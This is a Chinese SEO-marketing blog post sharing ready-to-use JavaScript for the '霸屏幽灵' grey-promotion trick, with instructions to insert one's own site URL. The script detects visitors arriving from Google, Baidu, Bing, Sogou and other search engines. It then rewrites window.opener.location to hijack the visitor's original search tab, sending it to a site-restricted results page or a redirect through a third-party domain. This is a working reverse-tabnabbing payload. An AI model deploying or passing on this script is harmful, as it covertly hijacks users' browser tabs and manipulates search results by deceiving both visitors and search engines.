霸屏幽灵(霸屏代码)源代码分享_【X-blog】关注营销与推广的网站

霸屏幽灵(霸屏代码)源代码分享

前段时间小新在卢松松博客投稿了一篇文章《如何评估及应用一些灰色推广产品》(原文链接),不少网都都前来勒索霸屏幽灵的源代码。以下就是了,大家可以参考一下。去掉<pre></pre>标签,改上你的网站URL以及目标关键词在百度检索结果的URL就可以应用了。

<pre><script>
var eg=[[“www.google.com.hk/”,”&safe=strict&sitesearch=”,””,””],[“www.google.com.tw/”,”&safe=strict&sitesearch=”,””,””],[“www.google.com/”,”&safe=strict&sitesearch=”,””,””],[“209.116.186.217/”,”&safe=strict&sitesearch=”,””,””],[“www.baidu.com/”,”&ct=2097152&tn=0051&si=”,”baidu”,”baidu.com”],[“www.haosou.com/”,”&rg=1&site=”,”haosou”,”haosou.com”],[“cn.bing.com/”,”&rg=1&site=”,””,””],[“sg.search.yahoo.com/”,”&site=”,””,””],[“www.youdao.com/”,”&site=”,””,””],[“www.sogou.com/”,”&site=”,”sogou”,”sogou.com”],[“www.soso.com/”,”&site=”,””,””]];var p=undefined;try{if(window.opener){p=window.opener.location.href.toLowerCase();}}catch(e){}if(!p){p=document.referrer.toLowerCase();}for(i=0;i<eg.length;i++){if(p.indexOf(eg[i][0])>0){var t=p+eg[i][1]+”www.网站.com”;if(eg[i][0]==”www.baidu.com/”){var arr = /&wd\=.*/.exec(p); var keyword=”;if(arr!=null && arr.length>0){keyword = arr[0].replace(“&wd=”,””)};t=’http://www.baidu.com/s?ct=2097152&ie=UTF-8&cl=3&wd=’+ keyword +’&si=www.网站.com’};var jump_value = ”;if(document.getElementsByTagName(‘meta’)[‘jump_key’]!=undefined){jump_value = document.getElementsByTagName(‘meta’)[‘jump_key’].getAttribute(‘content’)}if(jump_value==undefined || jump_value==null){jump_value = ”}if(eg[i][2].length>0){t=’http://’+eg[i][3]+’.cnlanshan.com/url/www_网站_com/’ + eg[i][2] + ‘/’+ jump_value}window.opener.location.href=t;break;}};
</script></pre>

 

未经允许不得转载:广州网络营销推广|SEO优化|SEM竞价|网站运营推广顾问 » 霸屏幽灵(霸屏代码)源代码分享

赞 (1)
分享到: 更多